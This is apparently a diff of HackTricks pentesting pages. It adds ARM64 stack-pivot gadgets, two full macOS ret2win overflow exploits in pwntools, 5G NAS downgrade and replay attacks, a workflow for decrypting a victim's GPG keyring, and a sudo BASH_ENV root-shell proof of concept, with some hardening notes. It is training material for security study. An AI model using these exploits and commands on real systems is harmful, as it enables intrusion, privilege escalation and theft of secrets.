## Stack Pivot
|
||||
|
||||
Stack pivoting is a technique used in exploitation to change the stack pointer (`RSP` in x64, `SP` in ARM64) to point to a controlled area of memory, such as the heap or a buffer on the stack, where the attacker can place their payload (usually a ROP/JOP chain).
|
||||
|
||||
Examples of Stack Pivoting chains:
|
||||
|
||||
- Example just 1 gadget:
|
||||
|
||||
```
|
||||
mov sp, x0; ldp x29, x30, [sp], #0x10; ret;
|
||||
|
||||
The `mov sp, x0` instruction sets the stack pointer to the value in `x0`, effectively pivoting the stack to a new location. The subsequent `ldp x29, x30, [sp], #0x10; ret;` instruction loads the frame pointer and return address from the new stack location and returns to the address in `x30`.
|
||||
```
|
||||
|
||||
```
|
||||
I found this gadget in libunwind.dylib
|
||||
If x0 points to a heap you control, you can control the stack pointer and move the stack to the heap, and therefore you will control the stack.
|
||||
|
||||
0000001c61a9b9c:
|
||||
ldr x16, [x0, #0xf8]; // Control x16
|
||||
ldr x30, [x0, #0x100]; // Control x30
|
||||
ldp x0, x1, [x0]; // Control x1
|
||||
mov sp, x16; // Control sp
|
||||
ret; // ret will jump to x30, which we control
|
||||
|
||||
To use this gadget you could use in the heap something like:
|
||||
<address of x0 to keep x0> # ldp x0, x1, [x0]
|
||||
<address of gadget> # Let's suppose this is the overflowed pointer that allows to call the ROP chain
|
||||
"A" * 0xe8 (0xf8-16) # Fill until x0+0xf8
|
||||
<address x0+16> # Lets point SP to x0+16 to control the stack
|
||||
<next gadget> # This will go into x30, which will be called with ret (so add of 2nd gadget)
|
||||
```
|
||||
|
||||
- Example multiple gadgets:
|
||||
|
||||
```
|
||||
// G1: Typical PAC epilogue that restores frame and returns
|
||||
// (seen in many leaf/non-leaf functions)
|
||||
G1:
|
||||
ldp x29, x30, [sp], #0x10 // restore FP/LR
|
||||
autiasp // **PAC check on LR**
|
||||
retab // **PAC-aware return**
|
||||
|
||||
// G2: Small helper that (dangerously) moves SP from FP
|
||||
// (appears in some hand-written helpers / stubs; good to grep for)
|
||||
G2:
|
||||
mov sp, x29 // **pivot candidate**
|
||||
ret
|
||||
|
||||
// G3: Reader on the new stack (common prologue/epilogue shape)
|
||||
G3:
|
||||
ldp x0, x1, [sp], #0x10 // consume args from "new" stack
|
||||
ret
|
||||
```
|
||||
|
||||
```
|
||||
G1:
|
||||
stp x8, x1, [sp] // Store at [sp] → value of x8 (attacker controlled) and at [sp+8] → value of x1 (attacker controlled)
|
||||
ldr x8, [x0] // Load x8 with the value at address x0 (controlled by attacker, address of G2)
|
||||
blr x8 // Branch to the address in x8 (controlled by attacker)
|
||||
|
||||
G2:
|
||||
ldp x29, x30, [sp], #0x10 // Loads x8 -> x29 and x1 -> x30. The value in x1 is the value for G3
|
||||
ret
|
||||
G3:
|
||||
mov sp, x29 // Pivot the stack to the address in x29, which was x8, and was controlled by the attacker possible pointing to the heap
|
||||
ret
|
||||
```
|
||||
|
||||
|
||||
## Protections Against ROP and JOP
|
||||
|
||||
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **&** [**PIE**](../common-binary-protections-and-bypasses/pie/index.html): These protections makes harder the use of ROP as the addresses of the gadgets changes between execution.
|
||||
- [**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/index.html): In of a BOF, it's needed to bypass the stores stack canary to overwrite return pointers to abuse a ROP chain
|
||||
@ -195,6 +326,7 @@ rop-syscall-execv/
|
||||
- 64 bit, Pie and nx enabled, no canary, overwrite RIP with a `vsyscall` address with the sole purpose or return to the next address in the stack which will be a partial overwrite of the address to get the part of the function that leaks the flag
|
||||
- [https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/](https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/)
|
||||
- arm64, no ASLR, ROP gadget to make stack executable and jump to shellcode in stack
|
||||
- [https://googleprojectzero.blogspot.com/2019/08/in-wild-ios-exploit-chain-4.html](https://googleprojectzero.blogspot.com/2019/08/in-wild-ios-exploit-chain-4.html)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
@ -135,7 +135,6 @@ Also in ARM64 an instruction does what the instruction does (it's not possible t
|
||||
|
||||
Check the example from:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
ret2lib-+-printf-leak-arm64.md
|
||||
{{#endref}}
|
||||
|
@ -29,9 +29,7 @@ clang -o rop-no-aslr rop-no-aslr.c -fno-stack-protector
|
||||
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
|
||||
```
|
||||
|
||||
### Find offset
|
||||
|
||||
### x30 offset
|
||||
### Find offset - x30 offset
|
||||
|
||||
Creating a pattern with **`pattern create 200`**, using it, and checking for the offset with **`pattern search $x30`** we can see that the offset is **`108`** (0x6c).
|
||||
|
||||
|
@ -201,7 +201,286 @@ print(p.recvline())
|
||||
p.close()
|
||||
```
|
||||
|
||||
### Notes on modern AArch64 hardening (PAC/BTI) and ret2win
|
||||
## macOS
|
||||
|
||||
### Code
|
||||
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <unistd.h>
|
||||
#include <stdlib.h>
|
||||
|
||||
__attribute__((noinline))
|
||||
void win(void) {
|
||||
system("/bin/sh"); // <- **our target**
|
||||
}
|
||||
|
||||
void vulnerable_function(void) {
|
||||
char buffer[64];
|
||||
// **BOF**: reading 256 bytes into a 64B stack buffer
|
||||
read(STDIN_FILENO, buffer, 256);
|
||||
}
|
||||
|
||||
int main(void) {
|
||||
printf("win() is at %p\n", win);
|
||||
vulnerable_function();
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
|
||||
Compile without canary (in macOS you can't disable PIE):
|
||||
|
||||
```bash
|
||||
clang -o bof_macos bof_macos.c -fno-stack-protector -Wno-format-security
|
||||
```
|
||||
|
||||
Execute without ASLR (although as we have an address leak, we don't need it):
|
||||
|
||||
```bash
|
||||
env DYLD_DISABLE_ASLR=1 ./bof_macos
|
||||
```
|
||||
|
||||
> [!TIP]
|
||||
> It's not possible to disable NX in macOS because in arm64 this mode is implemented at hardware level so you can't disable it, so you won't be finding examples with shellcode in stack in macOS.
|
||||
|
||||
### Find the offset
|
||||
|
||||
- Generate a pattern:
|
||||
|
||||
```bash
|
||||
python3 - << 'PY'
|
||||
from pwn import *
|
||||
print(cyclic(200).decode())
|
||||
PY
|
||||
```
|
||||
|
||||
- Run the program and input the pattern to cause a crash:
|
||||
|
||||
```bash
|
||||
lldb ./bof_macos
|
||||
(lldb) env DYLD_DISABLE_ASLR=1
|
||||
(lldb) run
|
||||
# paste the 200-byte cyclic string, press Enter
|
||||
```
|
||||
|
||||
- Check register `x30` (the return address) to find the offset:
|
||||
|
||||
```bash
|
||||
(lldb) register read x30
|
||||
```
|
||||
|
||||
- Use `cyclic -l <value>` to find the exact offset:
|
||||
|
||||
```bash
|
||||
python3 - << 'PY'
|
||||
from pwn import *
|
||||
print(cyclic_find(0x61616173))
|
||||
PY
|
||||
|
||||
# Replace 0x61616173 with the 4 first bytes from the value of x30
|
||||
```
|
||||
|
||||
- Thats how I found the offset `72`, putting in that offset the address of `win()` function you can execute that function and get a shell (running without ASLR).
|
||||
|
||||
### Exploit
|
||||
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
from pwn import *
|
||||
import re
|
||||
|
||||
# Load the binary
|
||||
binary_name = './bof_macos'
|
||||
|
||||
# Start the process
|
||||
p = process(binary_name, env={"DYLD_DISABLE_ASLR": "1"})
|
||||
|
||||
# Read the address printed by the program
|
||||
output = p.recvline().decode()
|
||||
print(f"Received: {output.strip()}")
|
||||
|
||||
# Extract the win() address using regex
|
||||
match = re.search(r'win\(\) is at (0x[0-9a-fA-F]+)', output)
|
||||
if not match:
|
||||
print("Failed to extract win() address")
|
||||
p.close()
|
||||
exit(1)
|
||||
|
||||
win_address = int(match.group(1), 16)
|
||||
print(f"Extracted win() address: {hex(win_address)}")
|
||||
|
||||
# Offset calculation:
|
||||
# Buffer starts at sp, return address at sp+0x40 (64 bytes)
|
||||
# We need to fill 64 bytes, then overwrite the saved x29 (8 bytes), then x30 (8 bytes)
|
||||
offset = 64 + 8 # 72 bytes total to reach the return address
|
||||
|
||||
# Craft the payload - ARM64 addresses are 8 bytes
|
||||
payload = b'A' * offset + p64(win_address)
|
||||
print(f"Payload length: {len(payload)}")
|
||||
|
||||
# Send the payload
|
||||
p.send(payload)
|
||||
|
||||
# Drop to an interactive session
|
||||
p.interactive()
|
||||
```
|
||||
|
||||
## macOS - 2nd example
|
||||
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
|
||||
__attribute__((noinline))
|
||||
void leak_anchor(void) {
|
||||
puts("leak_anchor reached");
|
||||
}
|
||||
|
||||
__attribute__((noinline))
|
||||
void win(void) {
|
||||
puts("Killed it!");
|
||||
system("/bin/sh");
|
||||
exit(0);
|
||||
}
|
||||
|
||||
__attribute__((noinline))
|
||||
void vuln(void) {
|
||||
char buf[64];
|
||||
FILE *f = fopen("/tmp/exploit.txt", "rb");
|
||||
if (!f) {
|
||||
puts("[*] Please create /tmp/exploit.txt with your payload");
|
||||
return;
|
||||
}
|
||||
// Vulnerability: no bounds check → stack overflow
|
||||
fread(buf, 1, 512, f);
|
||||
fclose(f);
|
||||
printf("[*] Copied payload from /tmp/exploit.txt\n");
|
||||
}
|
||||
|
||||
int main(void) {
|
||||
// Unbuffered stdout so leaks are immediate
|
||||
setvbuf(stdout, NULL, _IONBF, 0);
|
||||
|
||||
// Leak a different function, not main/win
|
||||
printf("[*] LEAK (leak_anchor): %p\n", (void*)&leak_anchor);
|
||||
|
||||
// Sleep 3s
|
||||
sleep(3);
|
||||
|
||||
vuln();
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
|
||||
Compile without canary (in macOS you can't disable PIE):
|
||||
|
||||
```bash
|
||||
clang -o bof_macos bof_macos.c -fno-stack-protector -Wno-format-security
|
||||
```
|
||||
|
||||
### Find the offset
|
||||
|
||||
- Generate a pattern into the file `/tmp/exploit.txt`:
|
||||
|
||||
```bash
|
||||
python3 - << 'PY'
|
||||
from pwn import *
|
||||
with open("/tmp/exploit.txt", "wb") as f:
|
||||
f.write(cyclic(200))
|
||||
PY
|
||||
```
|
||||
|
||||
- Run the program to cause a crash:
|
||||
|
||||
```bash
|
||||
lldb ./bof_macos
|
||||
(lldb) run
|
||||
```
|
||||
|
||||
- Check register `x30` (the return address) to find the offset:
|
||||
|
||||
```bash
|
||||
(lldb) register read x30
|
||||
```
|
||||
|
||||
- Use `cyclic -l <value>` to find the exact offset:
|
||||
|
||||
```bash
|
||||
python3 - << 'PY'
|
||||
from pwn import *
|
||||
print(cyclic_find(0x61616173))
|
||||
PY
|
||||
# Replace 0x61616173 with the 4 first bytes from the value of x30
|
||||
```
|
||||
|
||||
- Thats how I found the offset `72`, putting in that offset the address of `win()` function you can execute that function and get a shell (running without ASLR).
|
||||
|
||||
### Calculate the address of win()
|
||||
|
||||
- The binary is PIE, using the leak of `leak_anchor()` function and knowing the offset of `win()` function from `leak_anchor()` function we can calculate the address of `win()` function.
|
||||
|
||||
```bash
|
||||
objdump -d bof_macos | grep -E 'leak_anchor|win'
|
||||
|
||||
0000000100000460 <_leak_anchor>:
|
||||
000000010000047c <_win>:
|
||||
```
|
||||
|
||||
- The offset is `0x47c - 0x460 = 0x1c`
|
||||
|
||||
### Exploit
|
||||
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
from pwn import *
|
||||
import re
|
||||
import os
|
||||
|
||||
# Load the binary
|
||||
binary_name = './bof_macos'
|
||||
# Start the process
|
||||
p = process(binary_name)
|
||||
|
||||
# Read the address printed by the program
|
||||
output = p.recvline().decode()
|
||||
print(f"Received: {output.strip()}")
|
||||
|
||||
# Extract the leak_anchor() address using regex
|
||||
match = re.search(r'LEAK \(leak_anchor\): (0x[0-9a-fA-F]+)', output)
|
||||
if not match:
|
||||
print("Failed to extract leak_anchor() address")
|
||||
p.close()
|
||||
exit(1)
|
||||
leak_anchor_address = int(match.group(1), 16)
|
||||
print(f"Extracted leak_anchor() address: {hex(leak_anchor_address)}")
|
||||
|
||||
# Calculate win() address
|
||||
win_address = leak_anchor_address + 0x1c
|
||||
print(f"Calculated win() address: {hex(win_address)}")
|
||||
|
||||
# Offset calculation:
|
||||
# Buffer starts at sp, return address at sp+0x40 (64 bytes)
|
||||
# We need to fill 64 bytes, then overwrite the saved x29 (8 bytes), then x30 (8 bytes)
|
||||
offset = 64 + 8 # 72 bytes total to reach the return address
|
||||
|
||||
# Craft the payload - ARM64 addresses are 8 bytes
|
||||
payload = b'A' * offset + p64(win_address)
|
||||
print(f"Payload length: {len(payload)}")
|
||||
|
||||
# Write the payload to /tmp/exploit.txt
|
||||
with open("/tmp/exploit.txt", "wb") as f:
|
||||
f.write(payload)
|
||||
|
||||
print("[*] Payload written to /tmp/exploit.txt")
|
||||
|
||||
# Drop to an interactive session
|
||||
p.interactive()
|
||||
```
|
||||
|
||||
|
||||
## Notes on modern AArch64 hardening (PAC/BTI) and ret2win
|
||||
|
||||
- If the binary is compiled with AArch64 Branch Protection, you may see `paciasp`/`autiasp` or `bti c` emitted in function prologues/epilogues. In that case:
|
||||
- Returning to an address that is not a valid BTI landing pad may raise a `SIGILL`. Prefer targeting the exact function entry that contains `bti c`.
|
||||
@ -210,7 +489,7 @@ p.close()
|
||||
- `readelf --notes -W ./ret2win` and look for `AARCH64_FEATURE_1_BTI` / `AARCH64_FEATURE_1_PAC` notes.
|
||||
- `objdump -d ./ret2win | head -n 40` and look for `bti c`, `paciasp`, `autiasp`.
|
||||
|
||||
### Running on non‑ARM64 hosts (qemu‑user quick tip)
|
||||
## Running on non‑ARM64 hosts (qemu‑user quick tip)
|
||||
|
||||
If you are on x86_64 but want to practice AArch64:
|
||||
|
||||
@ -229,11 +508,12 @@ gdb-multiarch ./ret2win -ex 'target remote :1234'
|
||||
|
||||
### Related HackTricks pages
|
||||
|
||||
-
|
||||
|
||||
{{#ref}}
|
||||
../../rop-return-oriented-programing/rop-syscall-execv/ret2syscall-arm64.md
|
||||
{{#endref}}
|
||||
-
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../../rop-return-oriented-programing/ret2lib/ret2lib-+-printf-leak-arm64.md
|
||||
{{#endref}}
|
||||
|
@ -4,12 +4,13 @@
|
||||
|
||||
Find an introduction to arm64 in:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md
|
||||
{{#endref}}
|
||||
|
||||
## Code
|
||||
## Linux
|
||||
|
||||
### Code
|
||||
|
||||
```c
|
||||
#include <stdio.h>
|
||||
@ -32,7 +33,7 @@ Compile without pie, canary and nx:
|
||||
clang -o bof bof.c -fno-stack-protector -Wno-format-security -no-pie -z execstack
|
||||
```
|
||||
|
||||
## No ASLR & No canary - Stack Overflow
|
||||
### No ASLR & No canary - Stack Overflow
|
||||
|
||||
To stop ASLR execute:
|
||||
|
||||
@ -79,6 +80,17 @@ The only "complicated" thing to find here would be the address in the stack to c
|
||||
|
||||
I opened the generated **`core` file** (`gdb ./bog ./core`) and checked the real address of the start of the shellcode.
|
||||
|
||||
|
||||
## macOS
|
||||
|
||||
> [!TIP]
|
||||
> It's not possible to disable NX in macOS because in arm64 this mode is implemented at hardware level so you can't disable it, so you won't be finding examples with shellcode in stack in macOS.
|
||||
|
||||
Check a macOS ret2win example in:
|
||||
|
||||
{{#ref}}
|
||||
../ret2win/ret2win-arm64.md
|
||||
{{#endref}}
|
||||
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
@ -128,7 +128,7 @@ If **no \[MAC]** is provided, the packet is sent to **broadcast ethernet** (and
|
||||
|
||||
```bash
|
||||
# Bettercap (if no [MAC] is specificed ff:ff:ff:ff:ff:ff will be used/entire broadcast domain)
|
||||
wol.eth [MAC] #Send a WOL as a raw ethernet packet of type 0x0847
|
||||
wol.eth [MAC] #Send a WOL as a raw ethernet packet of type 0x0842
|
||||
wol.udp [MAC] #Send a WOL as an IPv4 broadcast packet to UDP port 9
|
||||
```
|
||||
|
||||
@ -427,9 +427,9 @@ VTP vulnerabilities are exploitable exclusively via trunk ports as VTP announcem
|
||||
|
||||
Note: This discussion pertains to VTP version 1 (VTPv1).
|
||||
|
||||
````bash
|
||||
%% yersinia -G # Launch Yersinia in graphical mode ```
|
||||
````
|
||||
```bash
|
||||
yersinia -G # Launch Yersinia in graphical mode
|
||||
```
|
||||
|
||||
In Yersinia's graphical mode, choose the deleting all VTP vlans option to purge the VLAN database.
|
||||
|
||||
|
@ -141,17 +141,127 @@ rm -f /tmp/sh ; history -c
|
||||
* `Microsocks` + `ProxyChains` : lightweight SOCKS5 pivoting
|
||||
* `FRP` (≥0.37) : NAT traversal / asset bridging
|
||||
|
||||
## 9. 5G NAS Registration Attacks: SUCI leaks, downgrade to EEA0/EIA0, and NAS replay
|
||||
|
||||
The 5G registration procedure runs over NAS (Non-Access Stratum) on top of NGAP. Until NAS security is activated by Security Mode Command/Complete, initial messages are unauthenticated and unencrypted. This pre-security window enables multiple attack paths when you can observe or tamper with N2 traffic (e.g., on-path inside the core, rogue gNB, or testbed).
|
||||
|
||||
Registration flow (simplified):
|
||||
- Registration Request: UE sends SUCI (encrypted SUPI) and capabilities.
|
||||
- Authentication: AMF/AUSF send RAND/AUTN; UE returns RES*.
|
||||
- Security Mode Command/Complete: NAS integrity and ciphering are negotiated and activated.
|
||||
- PDU Session Establishment: IP/QoS setup.
|
||||
|
||||
Lab setup tips (non-RF):
|
||||
- Core: Open5GS default deployment is sufficient to reproduce flows.
|
||||
- UE: simulator or test UE; decode using Wireshark.
|
||||
- Active tooling: 5GReplay (capture/modify/replay NAS within NGAP), Sni5Gect (sniff/patch/inject NAS on the fly without bringing up a full rogue gNB).
|
||||
- Useful display filters in Wireshark:
|
||||
- ngap.procedure_code == 15 (InitialUEMessage)
|
||||
- nas_5g.message_type == 65 or nas-5gs.message_type == 65 (Registration Request)
|
||||
|
||||
### 9.1 Identifier privacy: SUCI failures exposing SUPI/IMSI
|
||||
Expected: UE/USIM must transmit SUCI (SUPI encrypted with the home-network public key). Finding a plaintext SUPI/IMSI in the Registration Request indicates a privacy defect enabling persistent subscriber tracking.
|
||||
|
||||
How to test:
|
||||
- Capture the first NAS message in InitialUEMessage and inspect the Mobile Identity IE.
|
||||
- Wireshark quick checks:
|
||||
- It should decode as SUCI, not IMSI.
|
||||
- Filter examples: `nas-5gs.mobile_identity.suci || nas_5g.mobile_identity.suci` should exist; absence plus presence of `imsi` indicates leakage.
|
||||
|
||||
What to collect:
|
||||
- MCC/MNC/MSIN if exposed; log per-UE and track across time/locations.
|
||||
|
||||
Mitigation:
|
||||
- Enforce SUCI-only UEs/USIMs; alert on any IMSI/SUPI in initial NAS.
|
||||
|
||||
### 9.2 Capability bidding-down to null algorithms (EEA0/EIA0)
|
||||
Background:
|
||||
- UE advertises supported EEA (encryption) and EIA (integrity) in the UE Security Capability IE of the Registration Request.
|
||||
- Common mappings: EEA1/EIA1 = SNOW3G, EEA2/EIA2 = AES, EEA3/EIA3 = ZUC; EEA0/EIA0 are null algorithms.
|
||||
|
||||
Issue:
|
||||
- Because the Registration Request is not integrity protected, an on-path attacker can clear capability bits to coerce selection of EEA0/EIA0 later during Security Mode Command. Some stacks wrongly allow null algorithms outside emergency services.
|
||||
|
||||
Offensive steps:
|
||||
- Intercept InitialUEMessage and modify the NAS UE Security Capability to advertise only EEA0/EIA0.
|
||||
- With Sni5Gect, hook the NAS message and patch the capability bits before forwarding.
|
||||
- Observe whether AMF accepts null ciphers/integrity and completes Security Mode with EEA0/EIA0.
|
||||
|
||||
Verification/visibility:
|
||||
- In Wireshark, confirm selected algorithms after Security Mode Command/Complete.
|
||||
- Example passive sniffer output:
|
||||
```
|
||||
Encyrption in use [EEA0]
|
||||
Integrity in use [EIA0, EIA1, EIA2]
|
||||
SUPI (MCC+MNC+MSIN) 9997000000001
|
||||
```
|
||||
|
||||
Mitigations (must):
|
||||
- Configure AMF/policy to reject EEA0/EIA0 except where strictly mandated (e.g., emergency calls).
|
||||
- Prefer enforcing EEA2/EIA2 at minimum; log and alarm on any NAS security context that negotiates null algorithms.
|
||||
|
||||
### 9.3 Replay of initial Registration Request (pre-security NAS)
|
||||
Because initial NAS lacks integrity and freshness, captured InitialUEMessage+Registration Request can be replayed to AMF.
|
||||
|
||||
PoC rule for 5GReplay to forward matching replays:
|
||||
|
||||
```xml
|
||||
<beginning>
|
||||
<property value="THEN"
|
||||
property_id="101"
|
||||
type_property="FORWARD"
|
||||
description="Forward InitialUEMessage with Registration Request">
|
||||
|
||||
<!-- Trigger on NGAP InitialUEMessage (procedureCode == 15) -->
|
||||
<event value="COMPUTE"
|
||||
event_id="1"
|
||||
description="Trigger: InitialUEMessage"
|
||||
boolean_expression="ngap.procedure_code == 15"/>
|
||||
|
||||
<!-- Context match on NAS Registration Request (message_type == 65) -->
|
||||
<event value="COMPUTE"
|
||||
event_id="2"
|
||||
description="Context: Registration Request"
|
||||
boolean_expression="nas_5g.message_type == 65"/>
|
||||
|
||||
</property>
|
||||
</beginning>
|
||||
```
|
||||
|
||||
What to observe:
|
||||
- Whether AMF accepts the replay and proceeds to Authentication; lack of freshness/context validation indicates exposure.
|
||||
|
||||
Mitigations:
|
||||
- Enforce replay protection/context binding at AMF; rate-limit and correlate per-GNB/UE.
|
||||
|
||||
### 9.4 Tooling pointers (reproducible)
|
||||
- Open5GS: spin up an AMF/SMF/UPF to emulate core; observe N2 (NGAP) and NAS.
|
||||
- Wireshark: verify decodes of NGAP/NAS; apply the filters above to isolate Registration.
|
||||
- 5GReplay: capture a registration, then replay specific NGAP + NAS messages as per the rule.
|
||||
- Sni5Gect: live sniff/modify/inject NAS control-plane to coerce null algorithms or perturb authentication sequences.
|
||||
|
||||
### 9.5 Defensive checklist
|
||||
- Continuously inspect Registration Request for plaintext SUPI/IMSI; block offending devices/USIMs.
|
||||
- Reject EEA0/EIA0 except for narrowly defined emergency procedures; require at least EEA2/EIA2.
|
||||
- Detect rogue or misconfigured infrastructure: unauthorized gNB/AMF, unexpected N2 peers.
|
||||
- Alert on NAS security modes that result in null algorithms or frequent replays of InitialUEMessage.
|
||||
|
||||
---
|
||||
## Detection Ideas
|
||||
1. **Any device other than an SGSN/GGSN establishing Create PDP Context Requests**.
|
||||
2. **Non-standard ports (53, 80, 443) receiving SSH handshakes** from internal IPs.
|
||||
3. **Frequent Echo Requests without corresponding Echo Responses** – might indicate GTPDoor beacons.
|
||||
4. **High rate of ICMP echo-reply traffic with large, non-zero identifier/sequence fields**.
|
||||
5. 5G: **InitialUEMessage carrying NAS Registration Requests repeated from identical endpoints** (replay signal).
|
||||
6. 5G: **NAS Security Mode negotiating EEA0/EIA0** outside emergency contexts.
|
||||
|
||||
## References
|
||||
|
||||
- [Palo Alto Unit42 – Infiltration of Global Telecom Networks](https://unit42.paloaltonetworks.com/infiltration-of-global-telecom-networks/)
|
||||
- 3GPP TS 29.060 – GPRS Tunnelling Protocol (v16.4.0)
|
||||
- 3GPP TS 29.281 – GTPv2-C (v17.6.0)
|
||||
- [Demystifying 5G Security: Understanding the Registration Protocol](https://bishopfox.com/blog/demystifying-5g-security-understanding-the-registration-protocol)
|
||||
- 3GPP TS 24.501 – Non-Access-Stratum (NAS) protocol for 5GS
|
||||
- 3GPP TS 33.501 – Security architecture and procedures for 5G System
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
@ -247,6 +247,15 @@ Hunting/IOCs
|
||||
- AMSI tampering via [System.Management.Automation.AmsiUtils]::amsiInitFailed.
|
||||
- Long-running business threads ending with links hosted under trusted PaaS domains.
|
||||
|
||||
## Windows files to steal NTLM hashes
|
||||
|
||||
Check the page about **places to steal NTLM creds**:
|
||||
|
||||
{{#ref}}
|
||||
../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md
|
||||
{{#endref}}
|
||||
|
||||
|
||||
## References
|
||||
|
||||
- [Check Point Research – ZipLine Campaign: A Sophisticated Phishing Attack Targeting US Companies](https://research.checkpoint.com/2025/zipline-phishing-campaign/)
|
||||
|
@ -53,6 +53,33 @@ The Pluggable Authentication Module (PAM) is a system used under Linux for user
|
||||
> [!TIP]
|
||||
> You can automate this process with [https://github.com/zephrax/linux-pam-backdoor](https://github.com/zephrax/linux-pam-backdoor)
|
||||
|
||||
## Decrypting GPG loot via homedir relocation
|
||||
|
||||
If you find an encrypted `.gpg` file and a user’s `~/.gnupg` folder (pubring, private-keys, trustdb) but you can’t decrypt due to GnuPG homedir permissions/locks, copy the keyring to a writable location and use it as your GPG home.
|
||||
|
||||
Typical errors you’ll see without this: "unsafe ownership on homedir", "failed to create temporary file", or "decryption failed: No secret key" (because GPG can’t read/write the original homedir).
|
||||
|
||||
Workflow:
|
||||
|
||||
```bash
|
||||
# 1) Stage a writable homedir and copy the victim's keyring
|
||||
mkdir -p /dev/shm/fakehome/.gnupg
|
||||
cp -r /home/victim/.gnupg/* /dev/shm/fakehome/.gnupg/
|
||||
# 2) Ensure ownership & perms are sane for gnupg
|
||||
chown -R $(id -u):$(id -g) /dev/shm/fakehome/.gnupg
|
||||
chmod 700 /dev/shm/fakehome/.gnupg
|
||||
# 3) Decrypt using the relocated homedir (either flag works)
|
||||
GNUPGHOME=/dev/shm/fakehome/.gnupg gpg -d /home/victim/backup/secrets.gpg
|
||||
# or
|
||||
gpg --homedir /dev/shm/fakehome/.gnupg -d /home/victim/backup/secrets.gpg
|
||||
```
|
||||
|
||||
If the secret key material is present in `private-keys-v1.d`, GPG will unlock and decrypt without prompting for a passphrase (or it will prompt if the key is protected).
|
||||
|
||||
|
||||
## References
|
||||
|
||||
- [0xdf – HTB Environment (GPG homedir relocation to decrypt loot)](https://0xdf.gitlab.io/2025/09/06/htb-environment.html)
|
||||
- [GnuPG Manual – Home directory and GNUPGHOME](https://www.gnupg.org/documentation/manuals/gnupg/GPG-Configuration-Options.html#index-homedir)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
@ -886,6 +886,33 @@ This example, **based on HTB machine Admirer**, was **vulnerable** to **PYTHONPA
|
||||
sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh
|
||||
```
|
||||
|
||||
### BASH_ENV preserved via sudo env_keep → root shell
|
||||
|
||||
If sudoers preserves `BASH_ENV` (e.g., `Defaults env_keep+="ENV BASH_ENV"`), you can leverage Bash’s non-interactive startup behavior to run arbitrary code as root when invoking an allowed command.
|
||||
|
||||
- Why it works: For non-interactive shells, Bash evaluates `$BASH_ENV` and sources that file before running the target script. Many sudo rules allow running a script or a shell wrapper. If `BASH_ENV` is preserved by sudo, your file is sourced with root privileges.
|
||||
|
||||
- Requirements:
|
||||
- A sudo rule you can run (any target that invokes `/bin/bash` non-interactively, or any bash script).
|
||||
- `BASH_ENV` present in `env_keep` (check with `sudo -l`).
|
||||
|
||||
- PoC:
|
||||
|
||||
```bash
|
||||
cat > /dev/shm/shell.sh <<'EOF'
|
||||
#!/bin/bash
|
||||
/bin/bash
|
||||
EOF
|
||||
chmod +x /dev/shm/shell.sh
|
||||
BASH_ENV=/dev/shm/shell.sh sudo /usr/bin/systeminfo # or any permitted script/binary that triggers bash
|
||||
# You should now have a root shell
|
||||
```
|
||||
|
||||
- Hardening:
|
||||
- Remove `BASH_ENV` (and `ENV`) from `env_keep`, prefer `env_reset`.
|
||||
- Avoid shell wrappers for sudo-allowed commands; use minimal binaries.
|
||||
- Consider sudo I/O logging and alerting when preserved env vars are used.
|
||||
|
||||
### Sudo execution bypassing paths
|
||||
|
||||
**Jump** to read other files or use **symlinks**. For example in sudoers file: _hacker10 ALL= (root) /bin/less /var/log/\*_
|
||||
@ -1707,6 +1734,7 @@ android-rooting-frameworks-manager-auth-bypass-syscall-hook.md
|
||||
- [https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f)
|
||||
- [https://www.linode.com/docs/guides/what-is-systemd/](https://www.linode.com/docs/guides/what-is-systemd/)
|
||||
- [0xdf – HTB Eureka (bash arithmetic injection via logs, overall chain)](https://0xdf.gitlab.io/2025/08/30/htb-eureka.html)
|
||||
- [GNU Bash Reference Manual – Shell Arithmetic](https://www.gnu.org/software/bash/manual/bash.html#Shell-Arithmetic)
|
||||
- [GNU Bash Manual – BASH_ENV (non-interactive startup file)](https://www.gnu.org/software/bash/manual/bash.html#index-BASH_005fENV)
|
||||
- [0xdf – HTB Environment (sudo env_keep BASH_ENV → root)](https://0xdf.gitlab.io/2025/09/06/htb-environment.html)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -94,6 +94,8 @@ In my case in macOS I found it in:
|
||||
|
||||
- `/System/Volumes/Preboot/1BAEB4B5-180B-4C46-BD53-51152B7D92DA/boot/DAD35E7BC0CDA79634C20BD1BD80678DFB510B2AAD3D25C1228BB34BCD0A711529D3D571C93E29E1D0C1264750FA043F/System/Library/Caches/com.apple.kernelcaches/kernelcache`
|
||||
|
||||
Find also here the [**kernelcache of version 14 with symbols**](https://x.com/tihmstar/status/1295814618242318337?lang=en).
|
||||
|
||||
#### IMG4
|
||||
|
||||
